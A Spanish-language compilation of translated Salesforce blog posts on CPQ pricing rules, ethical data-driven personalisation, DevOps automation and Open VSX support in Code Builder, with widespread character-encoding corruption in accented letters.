5. Probar y validar reglas de precios:

鈥 Pruebe y valide exhaustivamente sus reglas de precios con varios escenarios de prueba.

鈥 Verificar que los resultados de la fijaci贸n de precios se alineen con los resultados esperados.

鈥 Probar diferentes combinaciones de condiciones, configuraciones de productos y escenarios de precios.

6. Aproveche las condiciones avanzadas:

鈥 Utilice la funci贸n Condiciones avanzadas para implementar criterios de reglas complejos.

鈥 Combinar m煤ltiples condiciones utilizando operadores l贸gicos (AND, OR) y funciones.

鈥 Esto permite una l贸gica de reglas m谩s compleja y un control m谩s detallado.

7. Reglas de revisi贸n y actualizaci贸n peri贸dicas:

鈥 Revise peri贸dicamente sus reglas de precios para asegurarse de que se mantengan alineadas con las estrategias de precios en evoluci贸n y los requisitos comerciales.

鈥 Actualice las reglas seg煤n sea necesario para reflejar los cambios en los productos, los modelos de precios o las estrategias de descuento.

8. L贸gica de la regla de precio del documento:

鈥 Documente la l贸gica y el razonamiento detr谩s de sus Reglas de precios.

鈥 Esto sirve como referencia para futuras modificaciones y ayuda con la transferencia de conocimiento dentro del equipo.

驴Se pueden usar reglas de precios para actualizar valores de campo en un registro? Explicar.

No, las reglas de precios en Salesforce CPQ se utilizan principalmente para los c谩lculos y ajustes de precios en lugar de actualizar directamente los valores de los campos en un registro.

Si bien las reglas de precios pueden afectar los resultados y resultados de la fijaci贸n de precios, no est谩n dise帽adas para actualizar directamente los valores de campo en un registro fuera del contexto de fijaci贸n de precios.

驴Cu谩l es la diferencia entre una regla de precio y un programa de descuento?

Las reglas de precios se utilizan para definir una l贸gica de precios din谩mica y condicional, lo que permite c谩lculos y acciones complejos basados en condiciones espec铆ficas. Por otro lado, los Programas de descuento proporcionan un enfoque estandarizado para aplicar descuentos predefinidos de manera uniforme en m煤ltiples productos o escenarios de precios. Las reglas de precios ofrecen m谩s flexibilidad y opciones de personalizaci贸n, mientras que los calendarios de descuentos ofrecen una forma coherente y optimizada de gestionar los descuentos.

Expliquemos la diferencia entre una regla de precio y un programa de descuento usando un ejemplo de dulces:

Regla de precio:

鈥 Una regla de precios le permite definir acciones o ajustes de precios espec铆ficos basados en ciertas condiciones para dulces individuales o grupos de dulces.

鈥 Por ejemplo, puede crear una regla de precios que aplique un descuento del 10 % a todos los dulces de ositos de goma durante un per铆odo promocional.

鈥 Las reglas de precios brindan flexibilidad para aplicar diferentes l贸gicas de precios, descuentos o ajustes basados en diversas condiciones para dulces o grupos de dulces espec铆ficos.

Horario de descuento:

鈥 En el mismo escenario de la tienda de golosinas, se usar铆a un programa de descuentos para administrar los descuentos estandarizados que se aplican a varios dulces.

鈥 Un calendario de descuentos proporciona un enfoque consistente para aplicar descuentos predefinidos de manera uniforme.

鈥 Por ejemplo, puede crear un programa de descuento llamado "10 % de descuento" que ofrece un 10 % de descuento en todos los dulces en toda la tienda.

鈥 Los Programas de descuento ayudan a mantener precios consistentes en diferentes dulces o niveles de precios, lo que garantiza que se aplique el mismo descuento a varios productos sin necesidad de Reglas de precios individuales.

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驴Dise帽ando experiencias de usuario personalizadas con datos e IA? Tenga esto en cuenta

驴Dise帽ando experiencias de usuario personalizadas con datos e IA? Tenga esto en cuenta

Hoy en d铆a, m谩s usuarios se sienten c贸modos con las empresas que utilizan informaci贸n personal relevante de manera transparente y beneficiosa. En el estudio Estado del cliente conectado de Salesforce de 2022 , el 61 % de los encuestados informaron un nivel de comodidad con estas pr谩cticas personalizadas de experiencia del usuario. Eso es un aumento del 52% del a帽o anterior. Sin embargo, no existe una definici贸n universal de lo que es transparente y beneficioso.

Los l铆deres de dise帽o son a menudo los que terminan determinando c贸mo se ve una experiencia de usuario ideal y c贸mo no se ve. Consideremos algunos ejemplos de contexto.

  • Un ejecutivo de cuenta en una llamada de un cliente ve que se abre un chatbot con consejos para cambiar su tono para ser m谩s efectivo. Esto puede parecer que se est谩 insertando de una manera no solicitada.
  • Un consumidor busca, por ejemplo, joyeros de anillos de boda en el navegador web de su computadora port谩til. M谩s tarde ven un anuncio dirigido por IA para planificadores de eventos en su feed de redes sociales m贸viles.

Muchas personas describen experiencias como estas como espeluznantes. Puede cruzar una l铆nea cuando la IA usa informaci贸n o el comportamiento del usuario desde una ubicaci贸n, experiencia o dispositivo diferente, sin una explicaci贸n clara o un proceso de consentimiento. Sin embargo, esa l铆nea puede desdibujarse seg煤n el usuario y su entorno.

Descubra lo que est谩 dando forma al futuro de la interacci贸n con el cliente

El estudio Salesforce State of the Connected Customer comparte informaci贸n de m谩s de 13 000 consumidores

鈥淟os usuarios deben sentir que existe una relaci贸n mutuamente beneficiosa entre la empresa y ellos mismos cuando intercambian sus datos por servicios personalizados鈥, dijo Daniel Lim, director s茅nior de Salesforce Futures, quien tambi茅n trabaj贸 en el informe 鈥溍塼ica por dise帽o鈥 con World Economic Foro (WEF).

Lim recuerda a los dise帽adores que el intercambio de valores de hoy todav铆a es nuevo. Hoy en d铆a, los clientes obtienen experiencias de usuario m谩s personalizadas mientras que las empresas recopilan datos y obtienen conocimientos. Sin embargo, no hace mucho tiempo, los clientes simplemente pagaban por bienes y servicios sin entregar datos personales. Es un nuevo d铆a de informaci贸n en todas partes. Para 2028, existir谩n 221 zettabytes de datos en todo el mundo, seg煤n la Corporaci贸n Internacional de Datos (IDC) . Tambi茅n existen herramientas poderosas en el mercado para desbloquear datos de clientes e informaci贸n procesable, como nuestra nueva nube de datos de Salesforce .

Al saber esto, Lim reconoce que el acto de dise帽o de beneficio mutuo es un principio de dise帽o emergente para construir un futuro con m谩s confianza. 脡l enfatiza que este tema no puede ser pasado por alto. 鈥淚nternet cambi贸 la confianza para siempre鈥, dijo.

Observar el entorno 茅tico.

Habl贸 sobre esto en la serie de podcasts 鈥淰oicing Relationships 鈥, producido en asociaci贸n con House of Beautiful Business, la red para la econom铆a centrada en la vida. Adem谩s de que la distinci贸n espeluznante/genial es espec铆fica del usuario, tambi茅n es espec铆fica de la sociedad.

Escuche el Episodio 3 en Spotify o Apple Podcasts hoy:

鈥淟o que es bueno en la sociedad es completamente contextual鈥, dijo Lim. 鈥淟o que es 茅tico en una sociedad tambi茅n es completamente contextual鈥.

De manera similar, el dise帽o centrado en el ser humano ofrece una lente para indagar m谩s profundamente sobre lo que es importante para los usuarios. En lugar de hacer suposiciones, tener conversaciones puede revelar ideas que informen c贸mo son las experiencias de usuario personalizadas. 鈥淓l futuro de la personalizaci贸n realmente depende del uso de la tecnolog铆a para detectar y responder al contexto de cada individuo, comprender cu谩les son sus necesidades y responder sin instrucciones expl铆citas鈥, dijo Lim.

Ciertamente, los dise帽adores son cada vez m谩s conscientes de c贸mo evitar dise帽os enga帽osos . Ahora, en esta nueva era basada en datos e inteligencia artificial, tambi茅n es fundamental evitar dise帽os que los usuarios puedan describir como espeluznantes.

Prevenir la incomodidad del usuario

La incorporaci贸n de la 茅tica en los procesos de dise帽o es un tema que defiende Emily Witt en su funci贸n como Directora de Cross Cloud Research & Insights de Salesforce. 鈥淣uestros clientes conf铆an en nosotros para hacer el trabajo duro de crear experiencias confiables. Necesitamos asegurarnos de evitar crear experiencias que se sientan invasivas, manipuladoras o que provoquen ansiedad鈥.

Ha descubierto que las explicaciones pueden contribuir en gran medida a aumentar la comodidad. Usar un lenguaje que haga que los usuarios se sientan c贸modos podr铆a parecer compartir por qu茅 est谩 solicitando informaci贸n privada o qu茅 informaci贸n est谩 usando para generar un resultado. Tambi茅n ayuda a comunicar claramente cu谩ndo las empresas emplean IA: una divulgaci贸n transparente descrita en la Pol铆tica de uso aceptable de Salesforce .

鈥淣ecesitamos asegurarnos de evitar crear experiencias que se sientan invasivas, manipuladoras o que provoquen ansiedad鈥.

Emily Witt

Salesforce Director de investigaci贸n e informaci贸n de Cross Cloud

Emily Witt

Por ejemplo, al nombrar a Tracey Bot, el Bot de Einstein de rastreo de contactos, el equipo incluy贸 intencionalmente "Bot". Hicieron esto para dejar en claro que AI los est谩 contactando por su salud. Con la informaci贸n m茅dica personal, existe el riesgo de caer en lo que se conoce como valle inquietante. Para evitar la incomodidad de los usuarios, el equipo incorpor贸 la direcci贸n para que las organizaciones solo env铆en un mensaje si un agente puede manejar las llamadas entrantes. Este ejemplo muestra c贸mo el dise帽o centrado en el ser humano ayuda a crear experiencias de usuario personalizadas con datos e IA que cumplen con las expectativas del usuario. Incluso pueden generar un sentimiento positivo.

En general, "no seas espeluznante" es un estribillo com煤n en la industria de la tecnolog铆a. Las empresas cliente pueden considerar c贸mo perciben los usuarios el intercambio de valor de datos para la personalizaci贸n. Requiere una personalizaci贸n de marketing responsable y principios de dise帽o de IA responsables . De hecho, as铆 es como allanamos el camino para aumentar la confianza y la lealtad de los clientes . Todo comienza con el dise帽o de soluciones que mantengan en mente estas ideas emergentes.

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Automatizaci贸n y Salesforce DevOps: una receta para el desarrollo acelerado

Automatizaci贸n y Salesforce DevOps: una receta para el desarrollo acelerado

脷ltima actualizaci贸n el 3 de julio de 2023 por Rakesh Gupta

En el acelerado mundo empresarial actual, la eficiencia en el desarrollo de software es vital. La automatizaci贸n ha surgido como una soluci贸n clave, agilizando los procesos para aumentar la productividad y liberar la innovaci贸n. Salesforce no es inmune a estos desaf铆os y complejidades de toda la industria.

Ingrese a DevOps. DevOps se ha convertido en un elemento esencial en el desarrollo de software, incluido Salesforce. Mediante la colaboraci贸n de desarrolladores, administradores y partes interesadas, Salesforce DevOps crea un entorno perfecto para la automatizaci贸n.

La combinaci贸n de automatizaci贸n y Salesforce DevOps cosecha m煤ltiples beneficios: menos errores, preparaci贸n m谩s r谩pida para el mercado, una canalizaci贸n de lanzamiento optimizada, menos repeticiones, calidad de c贸digo superior y mecanismos de retroalimentaci贸n m谩s fuertes. Mejora la eficiencia operativa y la velocidad de implementaci贸n en el ecosistema de Salesforce, fomentando un desarrollo 谩gil.

Este art铆culo explora la intersecci贸n de la automatizaci贸n y Salesforce DevOps, los beneficios de su sinergia y formas pr谩cticas de aplicarla para un desarrollo m谩s r谩pido en sus operaciones de Salesforce. Tanto si es un profesional de Salesforce como un novato, este art铆culo ofrece informaci贸n para reforzar su enfoque de DevOps de Salesforce con la automatizaci贸n.

Descripci贸n de DevOps de Salesforce

Antes de profundizar en c贸mo se cruzan Salesforce DevOps y la automatizaci贸n, es fundamental comprender lo que implica Salesforce DevOps.

DevOps, una combinaci贸n de ' Desarrollo ' y ' Operaciones ', es un conjunto de pr谩cticas dise帽adas para fusionar el desarrollo de software, el control de calidad y las operaciones de TI en un proceso unificado y fluido. En un contexto de Salesforce , DevOps es la uni贸n de estos principios con las s贸lidas capacidades de CRM de Salesforce, con el objetivo de facilitar procesos de desarrollo e implementaci贸n m谩s fluidos y r谩pidos.

En esencia, Salesforce DevOps incorpora principios como:

  1. Integraci贸n continua y entrega continua (CI/CD),
  2. responsabilidades compartidas,
  3. Acci贸n centrada en el cliente,
  4. Cultura de colaboraci贸n.

El objetivo es crear un entorno cohesivo donde los administradores, desarrolladores y otras partes interesadas puedan trabajar en armon铆a, lo que lleva a ciclos de desarrollo m谩s cortos, tiempo de comercializaci贸n m谩s r谩pido y software de alta calidad.

Sin embargo, a pesar de las ventajas de Salesforce DevOps, los desarrolladores a menudo enfrentan desaf铆os. Si bien es un activo, las caracter铆sticas integrales y la capacidad de personalizaci贸n de Salesforce pueden complicar el proceso de desarrollo e implementaci贸n .

Los desaf铆os difieren de un equipo a otro y de un caso de uso a otro, pero estos son algunos de los m谩s comunes:

  • Las diferencias en los entornos,
  • Administrar dependencias de c贸digo,
  • Manejo de metadatos,
  • Alinear el trabajo de diferentes equipos
  • Necesidad de mantener la calidad del c贸digo
  • Estabilidad del sistema mientras entrega a gran velocidad

Aqu铆 es donde la automatizaci贸n viene al rescate. La automatizaci贸n, en esencia, es el uso de la tecnolog铆a para realizar tareas con una intervenci贸n humana reducida. Cuando se aplica a Salesforce DevOps , puede aliviar significativamente estos desaf铆os.

Las pruebas automatizadas, por ejemplo, pueden mejorar la calidad del c贸digo al identificar errores al principio del proceso de desarrollo. Las implementaciones automatizadas pueden sincronizar metadatos y c贸digo en diferentes entornos, lo que reduce los errores de implementaci贸n. Del mismo modo, la automatizaci贸n de tareas repetitivas puede liberar el tiempo de los desarrolladores, lo que les permite concentrarse en actividades que agregan m谩s valor, como el desarrollo de funciones o el dise帽o de sistemas.

Adem谩s, la automatizaci贸n fomenta un proceso de desarrollo m谩s 谩gil, lo que permite actualizaciones peri贸dicas e incrementales en lugar de implementaciones r铆gidas de Salesforce. Este aspecto acorta el ciclo de desarrollo y facilita la reversi贸n de los cambios si algo sale mal, lo que aumenta la estabilidad general del sistema.

Aprovechamiento de la automatizaci贸n para el desarrollo acelerado de Salesforce

Acelerar el desarrollo de Salesforce a trav茅s de la automatizaci贸n implica identificar tareas manuales y repetitivas, implementar herramientas y marcos de automatizaci贸n adecuados y perfeccionar los procesos para mejorar la eficiencia y reducir los cuellos de botella. Profundicemos en cada una de estas 谩reas con m谩s detalle:

Identificaci贸n de tareas manuales y repetitivas

El primer paso hacia la automatizaci贸n es reconocer qu茅 tareas est谩n ralentizando su velocidad de desarrollo.

Estos t铆picamente incluyen:

  • Revisiones de c贸digo,
  • Pruebas,
  • Despliegue,
  • Configuraci贸n,
  • Migraci贸n de datos.

Suelen implicar procesos manuales tediosos que consumen tiempo y son propensos a errores. Al identificar estas tareas, puede identificar d贸nde la automatizaci贸n proporcionar谩 el mayor beneficio y tendr谩 un impacto significativo en la velocidad y la eficiencia de su desarrollo.

Implementaci贸n de herramientas y marcos de automatizaci贸n

Una vez que haya identificado las 谩reas que podr铆an beneficiarse de la automatizaci贸n, es hora de elegir e implementar las herramientas y los marcos adecuados. Salesforce ofrece varias funciones de automatizaci贸n integradas, como Apex y Salesforce Flow .

Sin embargo, otras herramientas pueden ser m谩s adecuadas para tareas complejas, como Salesforce DX para la gesti贸n del ciclo de vida del desarrollo, o Jenkins y CircleCI para la integraci贸n y entrega continuas. Al seleccionar estas herramientas, aseg煤rese de que se alineen con las habilidades de su equipo y los requisitos espec铆ficos de su entorno de Salesforce.

Optimizaci贸n de procesos para mejorar la eficiencia

La automatizaci贸n no se trata solo de herramientas y tecnolog铆a. Tambi茅n se trata de refinar sus procesos. Revise su flujo de trabajo de desarrollo actual para identificar posibles cuellos de botella y 谩reas de mejora.

Por ejemplo:

  1. 驴C贸mo se informan y rastrean los errores?
  2. 驴Con qu茅 frecuencia se realizan las implementaciones y c贸mo se programan?
  3. 驴C贸mo se recopilan los comentarios y c贸mo se act煤a en consecuencia?

Simplificar estos procesos puede mejorar dr谩sticamente la eficiencia de su equipo, permiti茅ndole aprovechar al m谩ximo sus esfuerzos de automatizaci贸n.

Vale la pena mencionar que los beneficios de la automatizaci贸n van m谩s all谩 de acelerar el desarrollo. La automatizaci贸n tambi茅n puede mejorar la calidad del c贸digo al detectar errores temprano a trav茅s de pruebas automatizadas. Puede reducir los errores de implementaci贸n al sincronizar el c贸digo en diferentes entornos.

Y al liberar a los desarrolladores de las tareas rutinarias, les permite concentrarse m谩s en el desarrollo de caracter铆sticas y el dise帽o del sistema, fomentando as铆 la innovaci贸n y mejorando el valor entregado a los usuarios finales.

Pruebas automatizadas para el desarrollo acelerado de Salesforce

Las pruebas son un componente crucial de cualquier ciclo de vida de desarrollo, y su importancia se multiplica para acelerar el desarrollo de Salesforce. Las pruebas peri贸dicas y exhaustivas ayudan a identificar errores y problemas desde el principio, lo que reduce el riesgo de reparaciones costosas y lentas en el futuro. Asegura la calidad y la confiabilidad de la aplicaci贸n, lo que a su vez contribuye a mejorar las experiencias de los usuarios y los resultados comerciales.

La automatizaci贸n puede potenciar este proceso de prueba. Las pruebas automatizadas implican el uso de herramientas de software para ejecutar pruebas y comparar los resultados reales con los resultados esperados. La implementaci贸n de una estrategia de prueba automatizada para las aplicaciones de Salesforce puede acelerar dr谩sticamente el proceso de desarrollo, lo que garantiza implementaciones m谩s r谩pidas, eficientes y confiables con menos errores.

Existen numerosas herramientas disponibles para pruebas automatizadas en Salesforce. Apex proporciona soporte integrado para pruebas unitarias, mientras que herramientas como Selenium, Provar y AssureClick pueden automatizar las pruebas de IU. Jest es una excelente opci贸n para probar Lightning Web Components (LWC). Al seleccionar una herramienta, considere las necesidades espec铆ficas de su aplicaci贸n, la experiencia de su equipo y la complejidad y frecuencia de sus requisitos de prueba.

Seguir las mejores pr谩cticas es esencial para aprovechar todo el potencial de las pruebas automatizadas. Estas son algunas de las mejores pr谩cticas para pruebas automatizadas eficientes y completas en el desarrollo de Salesforce:

  • Apunte a una alta cobertura de prueba : aseg煤rese de probar todas las partes de su aplicaci贸n. Salesforce requiere una cobertura de c贸digo m铆nima del 75 %, pero apuntar a una mayor cobertura puede brindar m谩s confianza en la confiabilidad de la aplicaci贸n.
  • Cree pruebas repetibles y aut贸nomas : las pruebas deben poder ejecutarse en cualquier entorno y no deben basarse en datos de pruebas anteriores. Esto garantiza que cada prueba valide una funci贸n espec铆fica de forma independiente.
  • Mantenga sus conjuntos de pruebas : a medida que su aplicaci贸n evolucione, sus pruebas tambi茅n deber铆an hacerlo. Revise y actualice regularmente sus pruebas para asegurarse de que reflejen con precisi贸n el estado actual de su aplicaci贸n.
  • Implemente diferentes niveles de prueba : combine pruebas unitarias, pruebas de integraci贸n y pruebas de interfaz de usuario para validar todos los aspectos de su aplicaci贸n. Cada nivel de prueba proporciona una perspectiva diferente sobre la funcionalidad de la aplicaci贸n.
  • Priorizar la legibilidad de la prueba : las pruebas a menudo sirven como documentaci贸n, explicando lo que se supone que debe hacer una parte del c贸digo. Aseg煤rese de que sus pruebas est茅n bien estructuradas y claramente escritas para que sean f谩ciles de entender para los dem谩s.
  • Incorpore las pruebas al principio del proceso de desarrollo : no espere hasta el final del ciclo de desarrollo para comenzar las pruebas. La incorporaci贸n de pruebas de manera temprana y frecuente le permite detectar y solucionar problemas r谩pidamente.

Integraci贸n e implementaci贸n continuas con automatizaci贸n

La integraci贸n continua y la implementaci贸n continua (CI/CD) forman un pilar central de Salesforce DevOps. CI/CD est谩 dise帽ado para reducir errores y acelerar el desarrollo a trav茅s de la integraci贸n continua de c贸digo y procesos de implementaci贸n automatizados y consistentes.

En el contexto de Salesforce, CI fusiona peri贸dicamente los cambios de c贸digo en un repositorio compartido, a menudo varias veces al d铆a. Cada integraci贸n se verifica autom谩ticamente mediante la creaci贸n de la aplicaci贸n y la ejecuci贸n de pruebas, lo que garantiza que los nuevos cambios se integren perfectamente con el c贸digo existente y no introduzcan errores.

Por otro lado, CD implementa autom谩ticamente esos cambios en la producci贸n, lo que garantiza que las nuevas caracter铆sticas, configuraciones y mejoras lleguen a los usuarios finales lo m谩s r谩pido posible. En Salesforce, CD puede implicar la implementaci贸n de cambios en diferentes entornos, como entornos de desarrollo, prueba, ensayo y producci贸n.

La automatizaci贸n es clave para lograr procesos impecables de CI/CD de Salesforce. A trav茅s de la automatizaci贸n, puede optimizar y estandarizar los pasos involucrados en:

  • Creaci贸n, prueba e implementaci贸n de aplicaciones de Salesforce,
  • Reducir el potencial de error humano
  • Acelerar el ciclo de desarrollo general.

La automatizaci贸n del proceso de compilaci贸n garantiza que los cambios en el c贸digo se integren y validen de manera constante. Las pruebas automatizadas, como comentamos anteriormente, verifican la integridad y la calidad del nuevo c贸digo. La automatizaci贸n del proceso de implementaci贸n ayuda a sincronizar el c贸digo y los cambios de configuraci贸n en diferentes entornos, lo que garantiza que todos los equipos de DevOps trabajen con la versi贸n m谩s reciente y precisa de la aplicaci贸n.

Control de versiones y automatizaci贸n de la gesti贸n de cambios

En el desarrollo de Salesforce, el control de versiones y la gesti贸n de cambios son fundamentales para mantener la integridad, coherencia y calidad de su aplicaci贸n.

El control de versiones, una parte integral del desarrollo de software, implica administrar y rastrear diferentes versiones de su base de c贸digo. Le permite ver los cambios a lo largo del tiempo, volver a las versiones anteriores cuando sea necesario y administrar el c贸digo de varios desarrolladores al mismo tiempo.

La gesti贸n de cambios se refiere a la gesti贸n y el seguimiento de los cambios del sistema, incluidos los cambios de configuraci贸n, las modificaciones de c贸digo y las implementaciones de nuevas funciones.

La automatizaci贸n de estos procesos puede mejorar su eficiencia y confiabilidad en el desarrollo de Salesforce.

  1. El control de versiones automatizado permite una integraci贸n de c贸digo m谩s fluida de diferentes desarrolladores, lo que reduce el riesgo de conflictos y errores.
  2. La gesti贸n de cambios automatizada asegura que todas las modificaciones a su sistema sean rastreadas y verificadas con precisi贸n, mejorando la responsabilidad y facilitando el diagn贸stico de cualquier problema que surja.

Varias herramientas pueden ayudar a automatizar el control de versiones y la gesti贸n de cambios en Salesforce. Los sistemas de control de versiones (VCS) como Git permiten un control de versiones efectivo. Facilita el seguimiento de los cambios en la base del c贸digo, lo que ayuda a mantener la integridad del c贸digo.

Las herramientas de DevOps como Copado o Gearset pueden ayudar a automatizar el seguimiento y la implementaci贸n de cambios en diferentes entornos para la gesti贸n de cambios. Brindan una visibilidad integral de su historial de cambios, lo que le permite administrar los cambios de manera m谩s efectiva y mantener la estabilidad de su aplicaci贸n.

Automatizaci贸n de la supervisi贸n y el tratamiento de errores

En el 谩mbito vertiginoso del desarrollo de Salesforce, el papel de la automatizaci贸n se extiende m谩s all谩 de la creaci贸n, prueba e implementaci贸n. El monitoreo automatizado y el manejo de errores son igualmente importantes para mantener la salud de la aplicaci贸n y corregir r谩pidamente cualquier problema.

El monitoreo automatizado implica el uso de herramientas para realizar un seguimiento constante del rendimiento, el uso y el estado general de sus aplicaciones de Salesforce. Este enfoque proactivo permite a los equipos de desarrollo identificar y abordar posibles problemas antes de que afecten a los usuarios.

El manejo proactivo de errores va de la mano con el monitoreo automatizado. En lugar de esperar a que se informen los problemas, el manejo proactivo de errores implica el uso de sistemas automatizados para identificar y, a menudo, resolver los problemas tan pronto como ocurran. Las notificaciones de error automatizadas aseguran que su equipo est茅 al tanto de cualquier problema al instante, lo que permite una respuesta r谩pida, minimiza el tiempo de inactividad y reduce la posibilidad de errores costosos.

La implementaci贸n de estas herramientas de automatizaci贸n en Salesforce DevOps implica el uso estrat茅gico de recursos como Monitoreo de eventos de Salesforce, que proporciona un flujo de eventos de auditor铆a de aplicaciones de su organizaci贸n, y herramientas de Monitoreo y advertencia de errores, que pueden notificarle autom谩ticamente sobre errores o excepciones.

Conclusi贸n

La automatizaci贸n combinada con las pr谩cticas de Salesforce DevOps ofrece una poderosa estrategia para acelerar el desarrollo y mejorar la calidad del software. Es una receta para el 茅xito en el vertiginoso panorama digital actual.

Para implementar la automatizaci贸n en su desarrollo de Salesforce, comience por identificar las tareas repetitivas que podr铆an automatizarse. Luego, implemente herramientas adecuadas para tareas como integraci贸n continua, pruebas automatizadas, control de versiones y monitoreo de aplicaciones. Agilice cualquier proceso manual junto con la implementaci贸n de estas herramientas, creando un flujo de trabajo de desarrollo eficiente y efectivo.

La adopci贸n de la automatizaci贸n en Salesforce DevOps acelera el desarrollo y refuerza la confiabilidad y el valor de sus aplicaciones. A medida que el ecosistema de Salesforce contin煤a evolucionando, el papel de la automatizaci贸n crecer谩 a煤n m谩s, dando forma al futuro del desarrollo de Salesforce.

Este art铆culo fue escrito por Sam Hops. Es redactora de contenido para una revista digital que cubre temas relacionados con el dise帽o, el comercio electr贸nico, el marketing digital y el esp铆ritu empresarial. Sam es un apasionado de todo lo relacionado con el marketing digital, pero tiene un inter茅s particular en el dise帽o gr谩fico, el SEO y las redes sociales.

Evaluaci贸n formativa:

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驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

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Las extensiones Open VSX ahora son compatibles con Code Builder 鈽侊笍

Las extensiones Open VSX ahora son compatibles con Code Builder 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las extensiones Open VSX ahora son compatibles con Code Builder | Blog de desarrolladores de Salesforce

Nos complace anunciar que Code Builder ahora le permite agregar extensiones desde Open VSX Registry , que brinda acceso de c贸digo abierto a las extensiones de VS Code. Con esta nueva funcionalidad, puede personalizar Code Builder con extensiones de la comunidad y de terceros para satisfacer sus necesidades m谩s r谩pido y ser m谩s productivo. En esta publicaci贸n de blog, aprender谩 sobre los beneficios que Open VSX aporta a Code Builder, c贸mo usarlo y c贸mo compartir sus comentarios con nosotros.

驴Qu茅 es el generador de c贸digo?

Code Builder es un entorno de desarrollo moderno basado en la web que est谩 optimizado para Salesforce. Actualmente en Beta, Code Builder le permite implementar un entorno de desarrollo integrado (IDE) con todas las funciones en su navegador desde su organizaci贸n de Salesforce, con solo presionar un bot贸n.

Las funciones clave, como la finalizaci贸n y refactorizaci贸n de c贸digo, ayudan a aumentar la productividad del desarrollador, mientras que las herramientas de apuntar y hacer clic dentro de Code Builder, como SOQL Builder, y la compatibilidad con todos los lenguajes y marcos de trabajo de Salesforce, facilitan el desarrollo de cualquier forma que desee. me gusta

Finalmente, con Code Builder, que se basa en AWS, puede acceder a las mismas extensiones de Salesforce y CLI que est谩n disponibles en el escritorio.

Mejor juntos: Code Builder + Open VSX

Cuando inicia Code Builder desde una organizaci贸n, viene precargado con las herramientas de Salesforce que necesita, incluido todo el paquete de extensiones de Salesforce y la CLI de Salesforce. Sin embargo, como parte del proceso de su equipo, es posible que necesite otras herramientas para realizar el trabajo. Ah铆 es donde Open VSX Registry puede ayudar.

Por ejemplo, tomemos el control de fuente. Code Builder ya tiene acceso a Git y GitHub, pero quiz谩s su equipo use algo diferente. Si su equipo trabaja con Jira y BitBucket, puede agregar las extensiones de Jira y Bitbucket en su entorno personal de Code Builder, lo que le permite trabajar con historias y control de fuente sin problemas dentro de Code Builder.

Con casi 3000 extensiones y 1600 editores diferentes en Open VSX, hay muchos otros complementos para elegir para personalizar su entorno Code Builder.

Salesforce y Open VSX

En Salesforce, estamos comprometidos con el c贸digo abierto . Dentro de las organizaciones que fomentan y adoptan el c贸digo abierto, los beneficios para los desarrolladores son claros:

  • C贸digo de mayor calidad: el c贸digo fuente abierto generalmente exhibe las mejores pr谩cticas de dise帽o de software; est谩 escrito de forma modular y limpia, y tambi茅n est谩 bien documentado, ya que los desarrolladores de todo el mundo necesitan entender c贸mo funciona.
  • Mejora de habilidades blandas: trabajar en c贸digo abierto lo lleva a aprender naturalmente c贸mo ser un gran compa帽ero de equipo y colaborador. Tambi茅n aprende de otros desarrolladores expertos siguiendo las pautas de contribuci贸n y revisando el c贸digo.
  • Innovaci贸n: La inteligencia colectiva es extremadamente poderosa. Al tener diferentes cerebros con diferentes antecedentes y mentalidades trabajando juntos, nuevas funciones e ideas innovadoras pueden surgir r谩pidamente.

Open VSX es una gran representaci贸n de la colaboraci贸n de c贸digo abierto. Dado su continuo crecimiento, la Fundaci贸n Eclipse ha formado un grupo de trabajo para guiar la evoluci贸n del Registro Open VSX . Salesforce es patrocinador y miembro del grupo de trabajo para ayudar a garantizar que nuestros usuarios tengan las herramientas y funciones necesarias para construir en nuestra plataforma.

Pr贸ximos pasos

Code Builder se encuentra actualmente en versi贸n beta abierta y est谩 disponible para que cualquiera lo pruebe. Si desea encontrar m谩s recursos, o si tiene preguntas o comentarios, consulte el grupo de la comunidad Code Builder Trailblazer . 隆Esperamos sus comentarios!

Tenga en cuenta que tambi茅n puede acceder a las extensiones de Salesforce en Open VSX, por lo que est谩n disponibles en cualquier lugar donde las necesite.

Sobre los autores

Stephanie Maddox es directora del equipo de gesti贸n de productos de Salesforce. Puedes seguirla en LinkedIn o Twitter .

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

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